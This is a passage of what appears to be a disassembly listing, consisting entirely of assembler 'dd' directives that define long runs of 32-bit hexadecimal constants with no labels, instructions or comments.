		dd 7F5D6FA1h, 206CD291h, 902C45BBh, 311FE1CFh, 0DC9B7042h
		dd 58483C9Ah, 99C70799h, 98C5A70Dh, 41E04F01h, 0BB2B7790h
		dd 0DE29CE21h, 73CEBC2Bh, 0F1DC190Ch, 802CB8ABh, 68075255h
		dd 445A6DA7h, 12A5AE2Ch, 0FA420E28h, 16E59260h,	813101DFh
		dd 121AF8EBh, 0C7B2307Eh, 3580DA67h, 292646F0h,	4142B048h
		dd 47E17F74h, 48E9FFCEh, 56D3C311h, 6147BEE0h, 0F67D3D88h
		dd 122DB701h, 69FD3F10h, 160EA893h, 6CEB427Ch, 0FC2FE92Fh
		dd 61E47C20h, 30AE4E8Eh, 0F5602A79h, 5536EBAAh,	52450153h
		dd 642E3233h, 4180C76Ch, 50E65644h, 1F0D4953h, 4C9C544Eh
		dd 18F0A6Ah, 0AE9EB905h, 762DDE0Bh, 9D748EAAh, 0DAD102D7h
		dd 4AE1FDE0h, 0D00A42F5h, 899F2710h, 446308C6h,	4284BCA0h
		dd 8B221E7h, 0A890A1F9h, 48A27B84h, 1679809Eh, 0DD372A32h
		dd 0EE638B00h, 5DB0D88Eh, 0C8100044h, 46C3815h,	6A0079F5h
		dd 0DE335B09h, 4D95FBh,	98E0B690h, 0DF276D45h, 5BA44000h
		dd 30457E3h, 0B93300A3h, 95F38C69h, 29000AC0h, 0F34EF6Ch
		dd 0FE949Ch, 0D95F0163h, 6198FDADh, 64F0C000h, 9FFB565Dh
		dd 74F00C9h, 0DE87CD47h, 0CC032504h, 0C132C898h, 9400FD20h
		dd 17795BB6h, 0E8650121h, 1450C688h, 0CA7ED474h, 93B3D826h
		dd 16E0FB39h, 0EE005E72h, 0EB88DE68h, 7943C631h, 27D60537h
		dd 1DE4451Fh, 604BC7Eh,	803EB749h, 7B18755Dh, 0D640609Dh
		dd 41A900FFh, 9AE2B48Ch, 3F006947h, 77DD3AD7h, 3E91F26Fh
		dd 0E0BABBC3h, 0AAB2E600h, 0E40C5CB7h, 470D6900h, 9EC4223Fh
		dd 14D97676h, 99567A3Ch, 0D0AA3A00h, 181E44A2h,	1B588E00h
		dd 0CAF3FB41h, 40A53AA6h, 0F7BB1A39h, 0F32B000h, 816A8977h
		dd 0D6E00300h, 0D523DF8Fh, 65CD00A0h, 0EF17F43Ch, 0AD589335h
		dd 0B9017A58h, 67FAAAF1h, 0D8F45D0Bh, 0AEA800FEh, 1C1FD333h
		dd 8AC0DD9Ah, 0ABA2EADAh, 133C3CE6h, 0C19C9204h, 0C7F8FAh
		dd 0C0287057h, 161370Dh, 0BEE8C419h, 705ABB56h,	160073E1h
		dd 5F1B3A42h, 153D6B44h, 8FD938D5h, 0BAC29000h,	0F1194FA7h
		dd 0B92A5E76h, 450E8105h, 0C0E567DDh, 0AA0CEF2Bh, 0D7FCBh
		dd 0F292DAEAh, 8B41176Fh, 0A50B600h, 657DDC5Ah,	8E39003Fh
		dd 43A98074h, 0E503ED3Ch, 0B96911F6h, 0DB18E0D3h, 583B24AFh
		dd 0B23994C9h, 8741D81Fh, 708F0B34h, 0BC7EF41Ch, 0DF73FE60h
		dd 0F3157C7h, 7246F8ACh, 0E7BDC540h, 0A400F419h, 30C2FFB9h
		dd 0A8ACBA90h, 0FAEC98E7h, 400D12EEh, 967300A7h, 45BB03FCh
		dd 0FB000A74h, 5F671BCBh, 1DE385h, 84D5C120h, 21FCFD4h
		dd 6A0172F0h, 4BCD9BF7h, 0B7524332h, 609454Eh, 62F209F6h
		dd 0F5CB93Fh, 60A62412h, 0FBEB9F02h, 0F8200168h, 17AF8822h
		dd 577E94CAh, 3E028FBEh, 1693FC0h, 26C8EDFBh, 0C82C12h
		dd 0D6C45D99h, 93006C36h, 9356FCAh, 0F6DEFC0Ah,	0EDA90043h
		dd 0A5845E86h, 0F3011B49h, 0B0E6C059h, 0E0EA191Ah, 1E505ABh
		dd 0D6300DDDh, 0BD9D2112h, 78D50317h, 0CE481Eh,	1979D844h
		dd 0DE81DA33h, 16090D3Bh, 40BFA03Dh, 0E6A28579h, 6149439Eh
		dd 8CDA00AFh, 0C488E964h, 50A14DBCh, 0B62D2900h, 6AE70F55h
		dd 310059E6h, 4C94C2DCh, 2EBB191h, 8F680C83h, 32405437h
		dd 1552EF77h, 59B900AAh, 304205F3h, 603C12BCh, 1DC9h, 0DA6CBE9Ah
		dd 2B0506AFh, 74CB9BCDh, 4871F1E8h, 0CFB0D4F0h,	792A42DAh
		dd 0CA03A2ADh, 99491F77h, 83B8929Ah, 0E135CFD9h, 0CB479274h
		dd 0A05C0C90h, 0F2CA9090h, 468E005Eh, 570D56BCh, 0A900E3E4h
		dd 0B3830933h, 6771CA45h, 50509E8Bh, 48A8292Fh,	72100600h
		dd 4521866Eh, 0E46B0C41h, 66BAA79Fh, 1E09B44Bh,	0C5B6E2h
		dd 0F66DD341h, 8F049F74h, 886B3B04h, 0C7C4782Bh, 0A89EC09Ch
		dd 4C9A196Eh, 0E21715B8h, 3C1201h, 63DC76CAh, 0D77542DBh
		dd 746D9B00h, 9A3209FCh, 35D5031Dh, 0C454AC49h,	8F451498h
		dd 12B08839h, 0A300C68Eh, 0C19BD80Eh, 0D6F32676h, 4BB100CFh
		dd 0DB5324BEh, 0B8689400h, 0CB26FCC4h, 0E5A504EBh, 0C7E4C25Fh
		dd 31DB041h, 0A800B555h, 0ADF3D14Ah, 21FBABh, 0D05260D6h
		dd 0E81020DAh, 0BA307113h, 17FCEF14h, 24478C1Fh, 52C0EEC1h
		dd 6F3A5BFh, 401676EBh,	7001FF38h, 8CD4809Dh, 0F532F16Dh
		dd 1D43A600h, 683E18F5h, 0AFECCDE0h, 2CC84707h,	196BD3h
		dd 0C1BB2B3Ch, 267F2495h, 6FB909B0h, 151DE283h,	6903A5D0h
		dd 9F288E2Ch, 0DB586883h, 230F0063h, 8CEE7313h,	0A307BEC6h
		dd 0F57B1147h, 0C93A9CA0h, 88760708h, 934E0AE7h, 1B0A7A1h
		dd 0DC003DD7h, 0E0A492C4h, 0C0A3CB73h, 0EBBB8B4Eh, 6A073016h
		dd 12EABCF3h, 0DA8278B3h, 4584A008h, 0F8DE2662h, 177F0021h
		dd 0A4CC9AFAh, 41C48A9h, 50C061FCh, 766DE908h, 274F0015h
		dd 7199CF2Ah, 92A1829Ch, 0C32BD851h, 4FA84C0Ah,	0B78484F7h
		dd 9F80552Fh, 756DE8CBh, 92D20510h, 0C0A0E46Ah,	830AB064h
		dd 7CDD5B00h, 0DB89E566h, 0E129005Dh, 81983C77h, 2D79FDA3h
		dd 9B35C309h, 1A8A0AA1h, 9F6F7B00h, 4EBA22h, 0E07AAB95h
		dd 5BD5E41Fh, 83C18B09h, 4D8C00C5h, 70292ECh, 8EF93914h
		dd 0C999E0D0h, 497FB76h, 0BBCBF2D6h, 9AD510h, 0FD974D75h
		dd 90E4BC02h, 0B4FC1CE4h, 0E506C014h, 0C48AEE43h, 1180524Dh
		dd 5F0DCBh, 33606699h, 0E1499E99h, 211107C2h, 9C70856Bh
		dd 1F53D96h, 0DE6D0CF2h, 0F4ACBE30h, 490080C5h,	0AB2344DFh
		dd 3B6BF8Dh, 2AF56B84h,	42FA8A5Ah, 1BF80940h, 0A1240600h
		dd 0B9D9BABh, 0C29800DDh, 235FFE71h, 0AA009AA7h, 823D19F0h
		dd 0BCCF4A2h, 8BEB461Ch, 42A07000h, 900AD8Eh, 49AB1D3Fh
		dd 0ED83179h, 5B0B5E9Dh, 0F688E522h, 74F04178h,	11CC1400h
		dd 0C8056D33h, 9E92ECh,	77EAF2A6h, 17264E1Ah, 6F485B00h
		dd 253CD139h, 0F66B0073h, 0ABA6CE94h, 0FD02054Bh, 1B58622h
		dd 4112406Ah, 965B48D1h, 1380A3C8h, 64D76923h, 0C8D92D2h
		dd 7FC73092h, 0F7583F0Fh, 0A34500A7h, 68386E4Eh, 0F7B95C95h
		dd 96FFCB00h, 3FDE3492h, 0AD676F07h, 0D1A6280Bh, 5DD65C3Ch
		dd 0F090D480h, 4318116Dh, 214844D5h, 8670E79Eh,	0ADC01546h
		dd 0D9018274h, 974A92F6h, 803661BDh, 243DD077h,	48F56870h
		dd 95009C98h, 0BBE9CAD9h, 5B7CBE53h, 2E70ED26h,	7FB20049h
		dd 303B04A0h, 0C3906983h, 82A4D953h, 1C05B890h,	0AF9F9C4Ch
		dd 0D11F8740h, 0FA577ECEh, 0E6136215h, 7EC0FAD8h, 18597BD6h
		dd 2CC63CB7h
		dd 0B60CDC05h, 1531EC5h, 663CECB8h, 92FD1795h, 0B9006B70h
		dd 9C1263Bh, 1988602Eh,	10B0F8C8h, 6403EAB0h, 8FE801F2h
		dd 7D3DE8D9h, 7B2000C9h, 2C24E42Dh, 943EC306h, 618118FEh
		dd 0EC1F13Eh, 0A6ECCA57h, 55E94A43h, 2D151B00h,	0E378FB7Dh
		dd 0B5DD0783h, 4084111Fh, 457F0A19h, 5AB88500h,	55C02F4h
		dd 0B7C848CCh, 1E662C02h, 0C8E0E3C3h, 4818AB4Dh, 0B65496F6h
		dd 298D348Eh, 9079C70Fh, 0EE8B8E0h, 0C132D40Dh,	0B3401D7Dh
		dd 1EFC855h, 0C522BFB9h, 803C6A4Ah, 855C846Eh, 0E57135h
		dd 51071FF2h, 42AA80E7h, 58A848h, 981C46DDh, 66FE0C6h
		dd 0EFB99716h, 32E5669h, 1E1D8E43h, 9EB791C0h, 3BC684Eh
		dd 500666FBh, 0F0AAAEE6h, 0A6EA60C0h, 54F4B002h, 61273B02h
		dd 24D89FA0h, 4EF8007Eh, 41FDC22Ah, 8700575Dh, 3C96FEAAh
		dd 91C7DDh, 90136CF1h, 3074E2B4h, 66E40860h, 3E1550Ch
		dd 0A29D9C54h, 0F03C891Ch, 312C805Ch, 7CC181D7h, 0C2340B62h
		dd 24B17957h, 2BAA30ADh, 5098C801h, 9CA6940Eh, 48871F8h
		dd 0CF0BDBA8h, 0C90AE4E5h, 0B5A3E900h, 91EF7A3Ah, 0C1404BBh
		dd 0C0F0D6A8h, 767E0A33h, 9ED81700h, 825FB757h,	405FDEA4h
		dd 309A6D10h, 0DB907E38h, 1D918738h, 1A437127h,	0B0E0563Ch
		dd 1FCB4D13h, 9C8C6062h, 5428DF06h, 0F008D70h, 0F48EA737h
		dd 71E1263h, 0A5800931h, 0E35CF6AFh, 4EF000E6h,	484AB0B1h
		dd 9C00FECDh, 1A0440B6h, 1421B63h, 70894DF1h, 60250DBDh
		dd 8102B12Ah, 4B1176CBh, 0C00AC3CDh, 486D7Bh, 2DA5A192h
		dd 0DF3B74Fh, 0BB79E279h, 7EC1460h, 0F27972BFh,	17B716FFh
		dd 0F660216Bh, 20D7C91Eh, 0ECB8358Bh, 1C24A69Ah, 0BB06CAF4h
		dd 3AEE03h, 0BA9E7343h,	0C92934D4h, 1A958300h, 6220B60Eh
		dd 6B3D041Bh, 0C0156CEDh, 50A4BE4Ch, 0F82ADAF2h, 0E2E99F4h
		dd 2E9B7AD3h, 0C4379040h, 0DED60072h, 420232E3h, 0C0786E4h
		dd 9680D42Dh, 0E2CA0EC0h, 642A0008h, 0BBE1C11Ch, 35A20BDh
		dd 0FF793490h, 1D4B0FA2h, 0F204BE1Bh, 6DABD104h, 55C3D4ECh
		dd 0BD00C477h, 97FDDEBBh, 4D330A1h, 2E0E8B8Dh, 27F6E278h
		dd 4B0CD932h, 0DF2518DBh, 0DF956564h, 22B7CBB6h, 2C1A9A7Ch
		dd 300BE18h, 81661065h,	1373CAF6h, 0FA461993h, 7B03BDD3h
		dd 804C0072h, 0EFF3812Bh, 6376AD07h, 1F8FE307h,	0EBC76C5Eh
		dd 0F9F866Fh, 6F55080Ch, 302423Dh, 0FCE382E1h, 0AE54176Fh
		dd 0DF081838h, 7FE9030Dh, 0EEDDA079h, 0B083350h, 0FC593189h
		dd 455F5A60h, 0C2E98311h, 4AF7FDD7h, 571C07FCh,	74B007Fh
		dd 0B800B105h, 609A514h, 0FFC503h, 0CB5660E0h, 33D78E0Eh
		dd 0D0F35B0Fh, 83A408Dh, 0AD7D74h, 27753D0Ah, 981EAA07h
		dd 1918D60Fh, 578DC07Ch, 1EDB7F52h, 0C0688701h,	16BED064h
		dd 5A00F313h, 665434CFh, 0F0EF24D8h, 8A2700D5h,	0E26D112Ch
		dd 6500F275h, 5B7AA23Dh, 58098353h, 0E300AA36h,	784D8170h
		dd 77036B16h, 0F8620AE9h, 0B6E89B6Dh, 0F95307EDh, 0A051A10Bh
		dd 6FEE2B14h, 12BA6607h, 0B9505850h, 188132B1h,	325EF8C0h
		dd 130AC780h, 9FF5F633h, 0D5030612h, 10E95Fh, 0AE54A455h
		dd 897E316Bh, 4438651Eh, 0A0690E44h, 4B0235C5h,	0C395371Ah
		dd 90DAB833h, 960B7EAh,	6C619A6Bh, 0E0F6C916h, 0A372C83h
		dd 8BD81C67h, 3C0089D7h, 755DBB30h, 0F21F1h, 0EE81D3B7h
		dd 2418ECD4h, 26D628CFh, 0FE13D0C6h, 0C54212D3h, 0FE390296h
		dd 0E975A18Ch, 0CD69A84h, 0C401CF36h, 0DB239E9Dh, 0F1302189h
		dd 29A53C36h, 822381Bh,	390C9EB0h, 45282A67h, 0B621E41h
		dd 3A2CBBE7h, 6F0C8D21h, 0A3115987h, 0AD5D1904h, 3818E3A8h
		dd 0C30E43Ah, 685B11FFh, 603239D2h, 0CE938160h,	3D60C469h
		dd 58DCA911h, 0A6AE20EAh, 64082902h, 12A11321h,	73AFD480h
		dd 2F06E251h, 4DDFACEEh, 4E0F3008h, 43BFDA20h, 6FF3D40h
		dd 0EBAFA1E6h, 8BE8103Fh, 0C6005FB8h, 0C22E5C96h, 7436C422h
		dd 0E79000CFh, 0B6E12AB4h, 151F3723h, 0AB0FA431h, 0F4C903B3h
		dd 0E20BC130h, 8388D19Eh, 0C4E706A8h, 0FF70AFE8h, 8140A660h
		dd 5E04057h, 9BA4C0FAh,	4C584F8h, 412A2DB0h, 0AE8368ACh
		dd 0D5E73080h, 1F44BBD9h, 8CB1EA00h, 0E54108BDh, 0DABC03F9h
		dd 68D9275Ah, 3AD403CDh, 0BAA8048Ah, 240DF09Ch,	48AF1360h
		dd 0EB1FF0h, 3E439BBFh,	3B2BDF0Ch, 1B04F8DFh, 5C81DDB1h
		dd 80DEBEE4h, 18EFEB0Ch, 95910085h, 4838781Dh, 0FC182881h
		dd 0C4682A6Ah, 0A72201BAh, 0CEE2EC3h, 0A68050E9h, 80009009h
		dd 33B88201h, 6EF8CBADh, 0A4829899h, 0ECA72BC9h, 0DABD3338h
		dd 668A3800h, 0A94DBC01h, 908601EEh, 97B3F9A0h,	3E58E055h
		dd 9D1FE3F8h, 283F9F8Dh, 973E1454h, 8E9900E6h, 63145BB2h
		dd 7879B833h, 2F730355h, 56E00152h, 0D1DD45C0h,	0DAE6051Fh
		dd 70B24FC0h, 0C2E3A54Bh, 0E0A00C38h, 0BF613900h, 0DEB70077h
		dd 3C4E5DFh, 0AF014F5Bh, 33AD9123h, 1E78739h, 0A7C15420h
		dd 4E0D89A4h, 4511120h,	25EF3183h, 0FB46C580h, 0B0C0B2FAh
		dd 0F5973249h, 0D1C0002Dh, 313C14E0h, 48C0679Bh, 98FDCD16h
		dd 0F34F395Dh, 9C83C7BAh, 0B53D56DFh, 46CEF100h, 5BD908DEh
		dd 0D2A20069h, 4FD876A4h, 16002A56h, 0B1E90EBEh, 1038A03Bh
		dd 0E35951h, 0D849DDB2h, 0E2A9114Ah, 91FE3EDAh,	9F3E6380h
		dd 10AF67FFh, 0F43BC618h, 65D7A50h, 0BDB67198h,	5AF84055h
		dd 79E46E39h, 0BCEADC0Ch, 881959h, 0FB83C9Ah, 9FD436A7h
		dd 0F7D0DA03h, 22B1FA26h, 9B00A3C1h, 379DF025h,	590B49h
		dd 6E50DE5Eh, 95DB846h,	0A3522C02h, 80891DFEh, 0D769E984h
		dd 0F00C505Fh, 0DA5001D2h, 0F791B432h, 0A185F403h, 0B85C4514h
		dd 710B0084h, 9650DB1Eh, 0A15F60BDh, 0F330B7CFh, 170084F8h
		dd 733FCE3h, 0E5579F0h,	0BC1B379Fh, 0A4008AE9h,	0AC2EA2E2h
		dd 5180B616h, 0DB30FCB8h, 0BA3D5449h, 408BC9C0h, 323FEAFh
		dd 0ECAB849Fh, 7813D34Ch, 9101F6B2h, 0B809CF5Dh, 0B3BB8040h
		dd 68020775h, 808E7D17h, 0A3543AB2h, 0D0F35A2Ah, 108A9402h
		dd 85885DEDh, 0C04D75BCh, 82C42190h, 3AD41210h,	99083659h
		dd 0A2E3150Bh, 3E288745h, 576C3570h, 0E2AD1A8Ah, 3541495Bh
		dd 0A5318061h, 4D212AE4h, 5DE10543h, 1A699F82h,	4833828h
		dd 0ECA0AF74h, 2C046330h, 39B1E894h, 37D82C90h,	0EAB903C3h
		dd 9FFA2F5Dh, 2DD6E809h, 0B80D06F0h, 8E18F7E0h,	5DD11004h
		dd 993270E8h, 10869E20h, 5FDF0034h, 0B9064F01h,	9500B887h
		dd 65D5D62Ah, 7B3BA076h, 98644811h, 5AA58E06h, 1D0B41DFh
		dd 8BE7436Bh, 7FEC00F9h, 9A8B7Ch, 9668DB57h, 61531A5Bh
		dd 0DD75D0Ch, 4895B099h, 5233E49Fh, 0EB8822F8h,	4E54E0E7h
		dd 3D12DA94h, 302049F9h, 88AFFF0Ah, 39CFD7E7h, 0F0BF2C54h
		dd 518D1882h, 0C03C3035h, 4CCE6004h, 2C86A384h,	859F2808h
		dd 0FC08C6B0h, 0FE00414Dh, 0F7C619FAh, 908C4ACFh, 8D55063Ch
		dd 0E1DE59ADh, 0B6B11401h, 0B366C7B5h, 4803824h, 49488896h
		dd 0B2C904E9h, 1EE13E20h, 0FCF4DD0Ch, 9D36957h,	0A8AE8BE8h
		dd 500085Eh, 0DDDB4A91h, 98E24CF5h, 30EC24h, 2B4179D2h
		dd 0BC24B315h, 84C3457h, 79865834h, 0AA92DB00h,	50D9E7E2h
		dd 891C21DFh, 0F6D70F00h, 0F9D85880h, 3A238889h, 0ED3B1C20h
		dd 8702648Bh, 2DD77027h, 10184BF9h, 58A5FDC0h, 84E7008Dh
		dd 905E0507h, 2E230065h
		dd 931960F5h, 2092255h,	15C5312h, 35649404h, 71DCEF47h
		dd 0BDEB1816h, 0C80AB948h, 0E707A600h, 18FC50F0h, 0BAA81429h
		dd 0A400F7D6h, 6445BF24h, 581D0776h, 3B94845Ah,	0FC307C78h
		dd 6149E162h, 4FD70016h, 0D3B637D0h, 7754329h, 29F7300h
		dd 0FA757166h, 2A770044h, 0F4DCB481h, 0D126D5D9h, 5A0C6896h
		dd 0DD7459E0h, 80D0E909h, 5EA5C032h, 7E021D69h,	0CEDFF33Fh
		dd 61C4683h, 3A8455EBh,	0B576A1BEh, 68BA5000h, 0CCDD485Fh
		dd 0D8B02A2Ah, 8CAF1FC0h, 0B2D7C098h, 386482A4h, 8242891h
		dd 3840C53Ah, 0A0DA8C4Bh, 18C53B1Ch, 69BC3A8Bh,	0EDEE3E99h
		dd 381292E8h, 14007833h, 4F652DDAh, 0F8925Ch, 2E84960Ah
		dd 0FCF3DC51h, 0E0001C91h, 9F87A1ABh, 62C20066h, 1B681EEBh
		dd 19143A08h, 26E450DFh, 5A586C8Ah, 1911C0E8h, 5D3D3BC1h
		dd 71D6410Fh, 1C83606Fh, 290E1A5h, 21D9E096h, 0B84AF43Ch
		dd 0B5468440h, 488C574Ch, 0AD891364h, 26EA6023h, 0C150A5B0h
		dd 65EB108Ch, 7B50237Ch, 84B488h, 11880210h, 0A2EC2E13h
		dd 0DC820612h, 193D9C00h, 3CB9FD5Ch, 0E8887ADEh, 348058BCh
		dd 0DB5673A7h, 0D3A8CCC0h, 21DE4CB1h, 0A8739F80h, 4FDC4Dh
		dd 8A147619h, 23A4C1DFh, 2254F212h, 3D86E402h, 925500B6h
		dd 0A6191956h, 31D07039h, 21A7D998h, 193F4EF8h,	0D2CA0143h
		dd 56E53DD7h, 45B4D440h, 0F50335CEh, 83500A28h,	194D402Ch
		dd 0A84639A9h, 0F10FAB22h, 607B19A5h, 12E0B70Ah, 0AEEF0411h
		dd 0C1A24989h, 53E658h,	4892275Bh, 0D804E891h, 88D2E76Ah
		dd 0E4989838h, 6822720h, 0BD8D588Ch, 1E0CA034h,	38AE95D7h
		dd 85A0C890h, 0B31957C0h, 22784639h, 0A1F750ADh, 0C27903A5h
		dd 0B761B987h, 0E8D1BB8Bh, 79EC36D3h, 5EBD01FDh, 84B9C450h
		dd 0F79A3D99h, 2C37E280h, 0D2A78105h, 703CBC01h, 0DD5AE3B0h
		dd 0FA0824h, 141DC77Eh,	495F26D4h, 0D9182B00h, 31A6E63Fh
		dd 663801E0h, 0DA3EAD68h, 0AC52D135h, 0D8C08C70h, 0C75DBD5Fh
		dd 0B38CF681h, 34F05248h, 0FF0036EEh, 467D3D2Fh, 51496220h
		dd 1040988Bh, 12E1734Eh, 1D24B247h, 0AA1FA338h,	98DB4DC4h
		dd 93204F62h, 1EC773A2h, 0A633EBC2h, 7E150781h,	5BD8C068h
		dd 0AE3DDB6Dh, 77FD1D80h, 31AF4F81h, 0A8D3ECD2h, 0A3ED324h
		dd 0A99B0ACCh, 0C28F0CA4h, 120CD498h, 69532C78h, 5A31266Dh
		dd 0D5E54038h, 1B755C39h, 5B71D702h, 0A0AB5E2Fh, 2AA57284h
		dd 0D986013Ah, 3933B49Eh, 54102453h, 73B9BE0Fh,	30BCAC2Fh
		dd 8D461755h, 34080284h, 104A642Ch, 3379B402h, 0A9CF6900h
		dd 56DD3E86h, 167066A6h, 5AD008D0h, 6BE8F401h, 204FA3E2h
		dd 84814A11h, 3490A63Ah, 0F5DEF73h, 0B32D427Bh,	1B929DC0h
		dd 83006599h, 0E0B1550h, 203DD847h, 0DD5C51A9h,	0BD78443Ch
		dd 1E88B949h, 7040C481h, 4144B1EDh, 0D9AC0390h,	0D3BAA046h
		dd 0D5C07EC0h, 0BD91F41Dh, 9A815303h, 0C58CC0E0h, 0E8470444h
		dd 0C03D4A8Dh, 773CF395h, 0A7DBB000h, 4FB2A187h, 0FEB7007Bh
		dd 40AE793Dh, 9F007743h, 0B9E942D5h, 0A554463Fh, 0E28F3B38h
		dd 151D48B9h, 9DF3189Eh, 5578087Fh, 97B0B060h, 2C70D9CDh
		dd 40B885h, 9DD3C3E2h, 42EC559Eh, 0DFAFE507h, 0F5808851h
		dd 0CC17B6Ch, 8E54A6F9h, 0E53CA3D1h, 42A11A50h,	8D44CC38h
		dd 0E598B04h, 0F80E5CABh, 2E47F4Ah, 0BDE535D6h,	0DFA438E0h
		dd 64BCD01h, 3CE24F5Bh,	0E7745C24h, 0C70791F4h,	0B28DDC18h
		dd 884A5FFh, 3DB880F5h,	0F64CBA61h, 54840AF8h, 0F7042C88h
		dd 48E195C6h, 0D1650C18h, 75C40C88h, 100C80ADh,	470C613Ah
		dd 0A0DEBA04h, 690744A1h, 80C7D718h, 9ADAA540h,	403266E0h
		dd 0BB155971h, 0A7869B6h, 58E0DCA5h, 0C4EF0810h, 0E23BF730h
		dd 0F9B09DFDh, 0F0584BCDh, 4D273934h, 6409DC84h, 0CC20DB36h
		dd 0FFFDCF5Bh, 89D028CBh, 932D8E78h, 91FEEC0Fh,	61609F09h
		dd 0E5D9E420h, 5D1C8785h, 8447334Fh, 865FB3DAh,	12198605h
		dd 97D8E7B2h, 312D51A0h, 73B830A5h, 39A01901h, 8DCF11F3h
		dd 5DF40C40h, 14BB4DD1h, 58193B14h, 0EB0F3F7Bh,	0D16459A9h
		dd 74331158h, 20912060h, 0D7295A25h, 0B820BC61h, 0BD18F142h
		dd 0AFD580B1h, 0F033112Ah, 3D517A14h, 0E084CAF8h, 84543A09h
		dd 8224E85Ch, 402CA148h, 0C182619Fh, 4C85B205h,	358A588Ch
		dd 73B20FE4h, 0C9CDDBC4h, 4398907Ch, 0BE6B9098h, 84387C89h
		dd 2853D405h, 3A804296h, 8899D658h, 0E8E0ACA4h,	0C0226428h
		dd 5088B006h, 28284862h, 9EE0A3AAh, 380CCAECh, 80AE6DC4h
		dd 0C99A3E7h, 8C663F0Ah, 0D3107305h, 0E0A3048Ah, 0E28833BDh
		dd 0B2BBE014h, 2C3D21F4h, 5942195h, 56FDDF6Dh, 86875C8h
		dd 80A1E828h, 98519A45h, 608A890Ch, 261955B4h, 7D0C39B4h
		dd 0BA046F84h, 0F5A46079h, 0A842A345h, 518028BEh, 0C99A3ADh
		dd 8C999D0Ah, 9C6AD112h, 10F5E088h, 55B1D91Dh, 53C8A027h
		dd 1214DB58h, 4AE73663h, 6BD81F14h, 0E03A7410h,	0F15061D5h
		dd 31F80E3h, 0D14534BBh, 7751299Fh, 0C381B7A8h,	79145AFBh
		dd 95D8361Ch, 58937C30h, 4C52E165h, 1F842C6Ah, 0F1B16B07h
		dd 0EE01B80h, 5063A936h, 0E07CA210h, 0DBEC04Bh,	475D8853h
		dd 79784118h, 0DC0805AAh, 0DC99A595h, 53C1F4A3h, 0F822770Eh
		dd 98A5EF26h, 824C7E71h, 4A659C04h, 7E603C0Fh, 462B37A4h
		dd 0A3A9C754h, 44B058C8h, 0F72ACD11h, 3CD851B5h, 0E16C21C1h
		dd 18785A14h, 0BD1857A1h, 1E096CAh, 3F45B33Dh, 3ED02D79h
		dd 72870783h, 7C80D7BEh, 3BD3AEh, 47D88454h, 42D5AFE2h
		dd 14B6E729h, 0DE837647h, 43300748h, 0C1CBE53Ch, 0AE7847h
		dd 23FBCE9h, 0D6C4796Fh, 6D60A241h, 0C3308053h,	0D9B19046h
		dd 18A36E43h, 47C47C83h, 79D0B7DCh, 700EBC74h, 8343B8EDh
		dd 0AE45C173h, 47DE1A78h, 3DC3317Dh, 450A59DEh,	0CBFE449h
		dd 3D101049h, 41DA07B0h, 1242B879h, 8884C0E5h, 281CE1E8h
		dd 200293D0h, 115A26CBh, 3C8514BCh, 2439BCF5h, 0F78C325Fh
		dd 0DF0248F1h, 8B64DDB8h, 9E3864ABh, 0FE4C99E0h, 0D0D0F619h
		dd 0A040614Fh, 24B0226Dh, 314C3CE1h, 35643286h,	9F7DA192h
		dd 0E7807304h, 0A48749D7h, 10EFD2C3h, 7BF3ABA9h, 20957426h
		dd 0C504388h, 0D5E166FBh, 10B318A1h, 0C834B732h, 0FB45DE68h
		dd 349C48A4h, 0A19D259h, 0B74612Ch, 8C6034FBh, 482B43Ah
		dd 66097540h, 93D3F823h, 2CBCB8A6h, 0F2763A86h,	0DA5A3030h
		dd 5320BD61h, 18FA30CEh, 2885D659h, 2CC8274Bh, 814836BCh
		dd 31C30651h, 6434345Bh, 3AB9FF25h, 514C6188h, 8879A835h
		dd 313E1003h, 3018FE76h, 50B948FCh, 0FCC4558Dh,	2545C420h
		dd 0FC38DD88h, 0E53DCD15h, 0C1A0D8DAh, 34276973h, 3D16E83Ch
		dd 0B33C4A66h, 34E4A64Ch, 4C0CA7B1h, 606D0858h,	0C333645Ch
		dd 310C42A3h, 1852FA5Ah, 0D04CA9F3h, 1CA65854h,	11815453h
		dd 486A85D5h, 5142D2A4h, 9D1891B2h, 62DF43BCh, 16A3F5B8h
		dd 0A6103A42h, 86BCAC53h, 31630F23h, 12322450h,	2DC5157Eh
		dd 0D4F65008h, 4451D321h, 35CE2213h, 517A1F08h,	6284119h
		dd 0AFC40F54h, 0A187286Dh, 284F5E78h, 0A290F38Fh, 1A561176h
		dd 286FF784h, 0AE46845Fh, 185F57A1h, 5C514CFBh,	366C2192h
		dd 896032DDh, 1834A1FFh, 602289B4h, 390E5B0Bh, 4050D8CBh
		dd 0F2443584h, 0DA1B067Bh, 5846ACA7h, 0C62DE144h, 7896F409h
		dd 0DC81B67Ch, 631BDB10h
		dd 0D423353Bh, 95533608h, 5B60184Ch, 4C93D449h,	5A229892h
		dd 20240A5Bh, 1AA13C77h, 412F60A0h, 3C40392Ch, 5DE82231h
		dd 0DAA89090h, 0D7B0C041h, 42BC5F7Ah, 6D0F0138h, 0ECAA83E1h
		dd 611C094Eh, 0B58F4DB1h, 29422CD2h, 692D00E8h,	997635FBh
		dd 0E0FCC809h, 0C51170F7h, 0A61B0D17h, 769609EEh, 0E9B24C40h
		dd 16FD7500h, 0D23A779Bh, 7E123171h, 0F4E1A550h, 8595DE25h
		dd 70013CF8h, 0DBCDDDD9h, 4EB1897h, 0A1B194h, 0A3DC0554h
		dd 0C47159DEh, 2DE7EA00h, 5AC4344Bh, 7C0C2200h,	36551476h
		dd 414400D3h, 31BB1C20h, 9B011DBCh, 0D5DB8990h,	409F7B55h
		dd 0A429E2h, 0C1347460h, 0EE0FDF47h, 0CEF3BF9h,	71AD503Eh
		dd 0B6E4008Eh, 90EA2E8Dh, 0D005467Fh, 0D35DF35Bh, 7AC91088h
		dd 0D1CE189Bh, 0EB31C0E0h, 0AFE34B07h, 2BC744F7h, 7BD7284Ch
		dd 60BB0037h, 87B109B3h, 1200C247h, 35EE13F6h, 378FB2Ah
		dd 1F2D0C2Bh, 0E0A30A24h, 7D540BC0h, 9FFE3A1Fh,	0A0E87E8Eh
		dd 0FD0A51E3h, 28270778h, 0E012E707h, 0E12A737Ah, 331F061Dh
		dd 51E41503h, 861061E0h, 0CF0F1EFDh, 282CD580h,	2771FE00h
		dd 3AE979FCh, 1397C2Ah,	0E4020C24h, 0F413281Fh,	707FF25h
		dd 0A2361EE0h, 41AB86Dh, 0CE2E80FBh, 7238FD1Fh,	14FCE6D5h
		dd 18882676h, 59F3AAA3h, 0CC5D1003h, 901E4DCBh,	79E29C6h
		dd 86A7632Eh, 18B336BCh, 83FA8C4Ah, 0E9E0D3EBh,	59CBC5E8h
